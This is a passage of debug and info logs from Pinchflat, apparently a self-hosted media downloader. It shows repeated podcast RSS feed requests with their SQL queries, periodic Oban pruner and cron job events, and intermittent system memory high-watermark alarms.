m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:45:20.597 [debug] QUERY OK source="source_metadata" db=1.5ms idle=1510.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:45:20.598 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.3ms idle=945.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:45:20.599 [info] Sent 200 in 10ms 18:45:29.437 [info] {"source":"oban","duration":1462,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:45:59.440 [info] {"source":"oban","duration":1737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:00.690 [info] {"source":"oban","duration":575,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:46:02.188 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:46:02.189 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:46:02.191 [debug] QUERY OK source="sources" db=1.5ms queue=0.1ms idle=1537.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:46:02.194 [debug] QUERY OK source="media_items" db=1.2ms queue=0.2ms idle=1540.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:46:02.197 [debug] QUERY OK source="source_metadata" db=0.3ms idle=1506.8ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:46:02.198 [debug] QUERY OK source="media_metadata" db=0.7ms queue=0.1ms idle=921.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:46:02.199 [info] Sent 200 in 10ms 18:46:29.443 [info] {"source":"oban","duration":1983,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:46:59.445 [info] {"source":"oban","duration":1486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:00.691 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:47:29.448 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:47:59.450 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:00.693 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:48:29.453 [info] {"source":"oban","duration":1677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:48:59.457 [info] {"source":"oban","duration":1929,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:00.695 [info] {"source":"oban","duration":491,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:49:29.459 [info] {"source":"oban","duration":1484,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:49:59.461 [info] {"source":"oban","duration":1477,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:00.698 [info] {"source":"oban","duration":828,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:50:29.463 [info] {"source":"oban","duration":1496,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:50:31.972 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:50:31.972 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:50:31.990 [debug] QUERY OK source="sources" db=1.1ms queue=0.3ms idle=1178.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:50:31.992 [debug] QUERY OK source="media_items" db=1.3ms queue=0.2ms idle=1180.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:50:31.994 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1183.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:50:32.018 [debug] QUERY OK source="media_metadata" db=0.8ms queue=0.2ms idle=1206.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:50:32.020 [info] Sent 200 in 47ms 18:50:42.211 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:50:42.211 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:50:42.213 [debug] QUERY OK source="sources" db=1.2ms idle=871.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:50:42.215 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=403.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:50:42.219 [debug] QUERY OK source="source_metadata" db=0.9ms idle=408.0ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:50:42.270 [debug] QUERY OK source="media_metadata" db=24.8ms queue=0.2ms idle=420.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:50:42.271 [info] Sent 200 in 60ms 18:50:59.466 [info] {"source":"oban","duration":1402,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:00.700 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:51:29.468 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:51:58.160 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 18:51:59.470 [info] {"source":"oban","duration":1251,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:00.701 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:52:29.472 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:52:58.168 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 18:52:59.474 [info] {"source":"oban","duration":1689,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:00.704 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:53:29.477 [info] {"source":"oban","duration":1627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:53:59.480 [info] {"source":"oban","duration":1478,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:00.705 [info] {"source":"oban","duration":718,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:54:29.484 [info] {"source":"oban","duration":2174,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:54:59.486 [info] {"source":"oban","duration":1367,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:00.707 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:55:29.488 [info] {"source":"oban","duration":1283,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:55:36.062 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:55:36.062 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:55:36.064 [debug] QUERY OK source="sources" db=0.7ms queue=0.1ms idle=1194.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:55:36.066 [debug] QUERY OK source="media_items" db=1.3ms queue=0.8ms idle=1196.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:55:36.068 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1199.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:55:36.069 [debug] QUERY OK source="media_metadata" db=0.5ms queue=0.1ms idle=1200.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:55:36.070 [info] Sent 200 in 8ms 18:55:51.255 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 18:55:51.255 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 18:55:51.256 [debug] QUERY OK source="sources" db=0.4ms queue=0.2ms idle=1387.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 18:55:51.259 [debug] QUERY OK source="media_items" db=1.5ms queue=0.4ms idle=1388.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 18:55:51.260 [debug] QUERY OK source="source_metadata" db=0.5ms idle=1391.9ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 18:55:51.261 [debug] QUERY OK source="media_metadata" db=0.4ms queue=0.1ms idle=1392.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 18:55:51.262 [info] Sent 200 in 6ms 18:55:59.490 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:00.709 [info] {"source":"oban","duration":738,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:56:29.494 [info] {"source":"oban","duration":2053,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:56:59.496 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:00.711 [info] {"source":"oban","duration":548,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:57:29.499 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:57:59.501 [info] {"source":"oban","duration":1282,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:00.714 [info] {"source":"oban","duration":642,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:58:29.503 [info] {"source":"oban","duration":1541,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:58:59.507 [info] {"source":"oban","duration":1913,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:00.715 [info] {"source":"oban","duration":692,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 18:59:29.509 [info] {"source":"oban","duration":1831,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 18:59:59.512 [info] {"source":"oban","duration":1670,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:00.717 [info] {"source":"oban","duration":762,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:00:21.841 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:00:21.841 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:00:21.843 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=1759.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:00:21.845 [debug] QUERY OK source="media_items" db=1.3ms queue=0.1ms idle=975.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:00:21.847 [debug] QUERY OK source="source_metadata" db=0.6ms idle=978.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:00:21.848 [debug] QUERY OK source="media_metadata" db=0.4ms idle=979.8ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:00:21.849 [info] Sent 200 in 8ms 19:00:29.515 [info] {"source":"oban","duration":1799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:00:29.686 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:00:29.686 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:00:29.688 [debug] QUERY OK source="sources" db=0.8ms idle=818.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:00:29.689 [debug] QUERY OK source="media_items" db=0.9ms queue=0.2ms idle=820.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:00:29.691 [debug] QUERY OK source="source_metadata" db=0.2ms idle=822.6ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:00:29.694 [debug] QUERY OK source="media_metadata" db=2.6ms queue=0.1ms idle=587.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:00:29.695 [info] Sent 200 in 9ms 19:00:59.518 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:00.720 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:01:29.522 [info] {"source":"oban","duration":2041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:01:58.291 [notice] :alarm_handler: {:set, {:system_memory_high_watermark, []}} 19:01:59.524 [info] {"source":"oban","duration":1658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:00.721 [info] {"source":"oban","duration":580,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:02:29.527 [info] {"source":"oban","duration":1787,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:02:58.302 [notice] :alarm_handler: {:clear, :system_memory_high_watermark} 19:02:59.530 [info] {"source":"oban","duration":1562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:00.724 [info] {"source":"oban","duration":481,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:03:29.534 [info] {"source":"oban","duration":1757,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:03:59.538 [info] {"source":"oban","duration":2768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:00.726 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:04:29.541 [info] {"source":"oban","duration":2097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:04:53.446 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:04:53.447 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:04:53.449 [debug] QUERY OK source="sources" db=0.8ms queue=0.1ms idle=579.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["6b719dc2-c1bd-4513-8dea-24feb684f9c1"] 19:04:53.451 [debug] QUERY OK source="media_items" db=1.6ms queue=0.2ms idle=581.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [1, 2000] 19:04:53.454 [debug] QUERY OK source="source_metadata" db=0.3ms queue=0.5ms idle=585.2ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [1] 19:04:53.455 [debug] QUERY OK source="media_metadata" db=0.3ms queue=0.2ms idle=586.6ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [36] 19:04:53.456 [info] Sent 200 in 9ms 19:04:59.543 [info] {"source":"oban","duration":1544,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:00.727 [info] {"source":"oban","duration":808,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 19:05:29.547 [info] {"source":"oban","duration":1901,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:05:37.405 [info] GET /sources/6b719dc2-c1bd-4513-8dea-24feb684f9c1/feed.xml 19:05:37.406 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "6b719dc2-c1bd-4513-8dea-24feb684f9c1"} Pipelines: [:maybe_basic_auth] 19:05:37.407 [debug] QUERY OK source="sources" db=0.7ms queue=0.2ms idle=538.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", 